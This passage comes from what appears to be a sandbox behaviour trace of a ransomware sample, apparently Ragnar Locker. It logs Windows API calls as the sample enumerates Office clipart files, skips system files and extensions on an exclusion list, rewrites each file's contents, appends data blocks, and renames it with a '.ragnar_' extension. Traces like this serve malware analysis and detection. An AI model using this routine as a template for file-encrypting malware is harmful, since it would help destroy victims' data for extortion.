nNumberOfBytesToLockHigh=0x0) returned 1 [0080.240] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f1e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1f1e, lpOverlapped=0x0) returned 1 [0080.241] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f1e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.241] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.241] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.241] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.241] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.241] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.241] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.241] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.241] GetProcessHeap () returned 0x580000 [0080.241] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.241] CloseHandle (hObject=0xf4) returned 1 [0080.242] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" [0080.242] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.ragnar_FD7BD9FC" [0080.242] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.242] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c365a00, ftCreationTime.dwHighDateTime=0x1bd4f6a, ftLastAccessTime.dwLowDateTime=0x5f47ba90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c365a00, ftLastWriteTime.dwHighDateTime=0x1bd4f6a, nFileSizeHigh=0x0, nFileSizeLow=0x34cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10890_.GIF", cAlternateFileName="")) returned 1 [0080.242] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.242] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD10890_.GIF" | out: lpString1="BD10890_.GIF") returned="BD10890_.GIF" [0080.242] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned=".GIF" [0080.242] lstrcmpiW (lpString1="BD10890_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.242] lstrcmpiW (lpString1="BD10890_.GIF", lpString2="autorun.inf") returned 1 [0080.242] lstrcmpiW (lpString1="BD10890_.GIF", lpString2="boot.ini") returned -1 [0080.242] lstrcmpiW (lpString1="BD10890_.GIF", lpString2="bootfont.bin") returned -1 [0080.242] lstrcmpiW (lpString1="BD10890_.GIF", lpString2="bootsect.bak") returned -1 [0080.242] lstrcmpiW (lpString1="BD10890_.GIF", lpString2="bootmgr") returned -1 [0080.242] lstrcmpiW (lpString1="BD10890_.GIF", lpString2="bootmgr.efi") returned -1 [0080.242] lstrcmpiW (lpString1="BD10890_.GIF", lpString2="bootmgfw.efi") returned -1 [0080.242] lstrcmpiW (lpString1="BD10890_.GIF", lpString2="desktop.ini") returned -1 [0080.242] lstrcmpiW (lpString1="BD10890_.GIF", lpString2="iconcache.db") returned -1 [0080.243] lstrcmpiW (lpString1="BD10890_.GIF", lpString2="ntldr") returned -1 [0080.243] lstrcmpiW (lpString1="BD10890_.GIF", lpString2="ntuser.dat") returned -1 [0080.243] lstrcmpiW (lpString1="BD10890_.GIF", lpString2="ntuser.dat.log") returned -1 [0080.243] lstrcmpiW (lpString1="BD10890_.GIF", lpString2="ntuser.ini") returned -1 [0080.243] lstrcmpiW (lpString1="BD10890_.GIF", lpString2="thumbs.db") returned -1 [0080.243] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0080.243] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0080.243] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0080.243] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0080.243] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0080.243] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0080.243] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0080.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 0x20 [0080.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.243] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13515) returned 1 [0080.243] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x34c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.243] GetProcessHeap () returned 0x580000 [0080.243] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.243] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.245] VirtualAlloc (lpAddress=0x0, dwSize=0x34cb, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.245] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.245] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.245] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x34cb, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x34cb, lpOverlapped=0x0) returned 1 [0080.246] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.247] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x34cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.247] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x34cb, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x34cb, lpOverlapped=0x0) returned 1 [0080.247] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x34cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.247] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.247] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x34cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.247] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.247] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.247] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.247] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.247] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.247] GetProcessHeap () returned 0x580000 [0080.247] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.248] CloseHandle (hObject=0xf4) returned 1 [0080.248] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" [0080.248] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.ragnar_FD7BD9FC" [0080.248] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.248] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93701b00, ftCreationTime.dwHighDateTime=0x1bd4f69, ftLastAccessTime.dwLowDateTime=0x517da370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93701b00, ftLastWriteTime.dwHighDateTime=0x1bd4f69, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1 [0080.248] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.248] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD10972_.GIF" | out: lpString1="BD10972_.GIF") returned="BD10972_.GIF" [0080.248] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned=".GIF" [0080.248] lstrcmpiW (lpString1="BD10972_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.248] lstrcmpiW (lpString1="BD10972_.GIF", lpString2="autorun.inf") returned 1 [0080.248] lstrcmpiW (lpString1="BD10972_.GIF", lpString2="boot.ini") returned -1 [0080.248] lstrcmpiW (lpString1="BD10972_.GIF", lpString2="bootfont.bin") returned -1 [0080.248] lstrcmpiW (lpString1="BD10972_.GIF", lpString2="bootsect.bak") returned -1 [0080.248] lstrcmpiW (lpString1="BD10972_.GIF", lpString2="bootmgr") returned -1 [0080.248] lstrcmpiW (lpString1="BD10972_.GIF", lpString2="bootmgr.efi") returned -1 [0080.248] lstrcmpiW (lpString1="BD10972_.GIF", lpString2="bootmgfw.efi") returned -1 [0080.249] lstrcmpiW (lpString1="BD10972_.GIF", lpString2="desktop.ini") returned -1 [0080.249] lstrcmpiW (lpString1="BD10972_.GIF", lpString2="iconcache.db") returned -1 [0080.249] lstrcmpiW (lpString1="BD10972_.GIF", lpString2="ntldr") returned -1 [0080.249] lstrcmpiW (lpString1="BD10972_.GIF", lpString2="ntuser.dat") returned -1 [0080.249] lstrcmpiW (lpString1="BD10972_.GIF", lpString2="ntuser.dat.log") returned -1 [0080.249] lstrcmpiW (lpString1="BD10972_.GIF", lpString2="ntuser.ini") returned -1 [0080.249] lstrcmpiW (lpString1="BD10972_.GIF", lpString2="thumbs.db") returned -1 [0080.249] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0080.249] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0080.249] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0080.249] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0080.249] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0080.249] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0080.249] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0080.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 0x20 [0080.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.250] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20189) returned 1 [0080.250] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.250] GetProcessHeap () returned 0x580000 [0080.250] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.250] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.252] VirtualAlloc (lpAddress=0x0, dwSize=0x4edd, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.252] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.252] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.252] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4edd, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4edd, lpOverlapped=0x0) returned 1 [0080.253] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.253] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4edd, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.253] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4edd, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4edd, lpOverlapped=0x0) returned 1 [0080.253] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4edd, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.253] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.254] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4edd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.254] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.254] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.254] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.254] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.254] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.254] GetProcessHeap () returned 0x580000 [0080.254] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.254] CloseHandle (hObject=0xf4) returned 1 [0080.254] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" [0080.254] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.ragnar_FD7BD9FC" [0080.255] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.255] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6557800, ftCreationTime.dwHighDateTime=0x1bd4d57, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6557800, ftLastWriteTime.dwHighDateTime=0x1bd4d57, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19563_.GIF", cAlternateFileName="")) returned 1 [0080.255] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.255] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD19563_.GIF" | out: lpString1="BD19563_.GIF") returned="BD19563_.GIF" [0080.255] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned=".GIF" [0080.255] lstrcmpiW (lpString1="BD19563_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.255] lstrcmpiW (lpString1="BD19563_.GIF", lpString2="autorun.inf") returned 1 [0080.256] lstrcmpiW (lpString1="BD19563_.GIF", lpString2="boot.ini") returned -1 [0080.256] lstrcmpiW (lpString1="BD19563_.GIF", lpString2="bootfont.bin") returned -1 [0080.256] lstrcmpiW (lpString1="BD19563_.GIF", lpString2="bootsect.bak") returned -1 [0080.256] lstrcmpiW (lpString1="BD19563_.GIF", lpString2="bootmgr") returned -1 [0080.256] lstrcmpiW (lpString1="BD19563_.GIF", lpString2="bootmgr.efi") returned -1 [0080.256] lstrcmpiW (lpString1="BD19563_.GIF", lpString2="bootmgfw.efi") returned -1 [0080.256] lstrcmpiW (lpString1="BD19563_.GIF", lpString2="desktop.ini") returned -1 [0080.256] lstrcmpiW (lpString1="BD19563_.GIF", lpString2="iconcache.db") returned -1 [0080.256] lstrcmpiW (lpString1="BD19563_.GIF", lpString2="ntldr") returned -1 [0080.256] lstrcmpiW (lpString1="BD19563_.GIF", lpString2="ntuser.dat") returned -1 [0080.256] lstrcmpiW (lpString1="BD19563_.GIF", lpString2="ntuser.dat.log") returned -1 [0080.256] lstrcmpiW (lpString1="BD19563_.GIF", lpString2="ntuser.ini") returned -1 [0080.256] lstrcmpiW (lpString1="BD19563_.GIF", lpString2="thumbs.db") returned -1 [0080.256] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0080.256] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0080.256] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0080.256] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0080.256] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0080.256] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0080.256] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0080.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 0x20 [0080.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.257] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20454) returned 1 [0080.257] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4fdd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.257] GetProcessHeap () returned 0x580000 [0080.257] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.257] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.258] VirtualAlloc (lpAddress=0x0, dwSize=0x4fe6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.259] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.259] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.259] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4fe6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4fe6, lpOverlapped=0x0) returned 1 [0080.260] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.260] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4fe6, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.260] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4fe6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4fe6, lpOverlapped=0x0) returned 1 [0080.260] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4fe6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.260] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.260] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4fe6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.260] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, 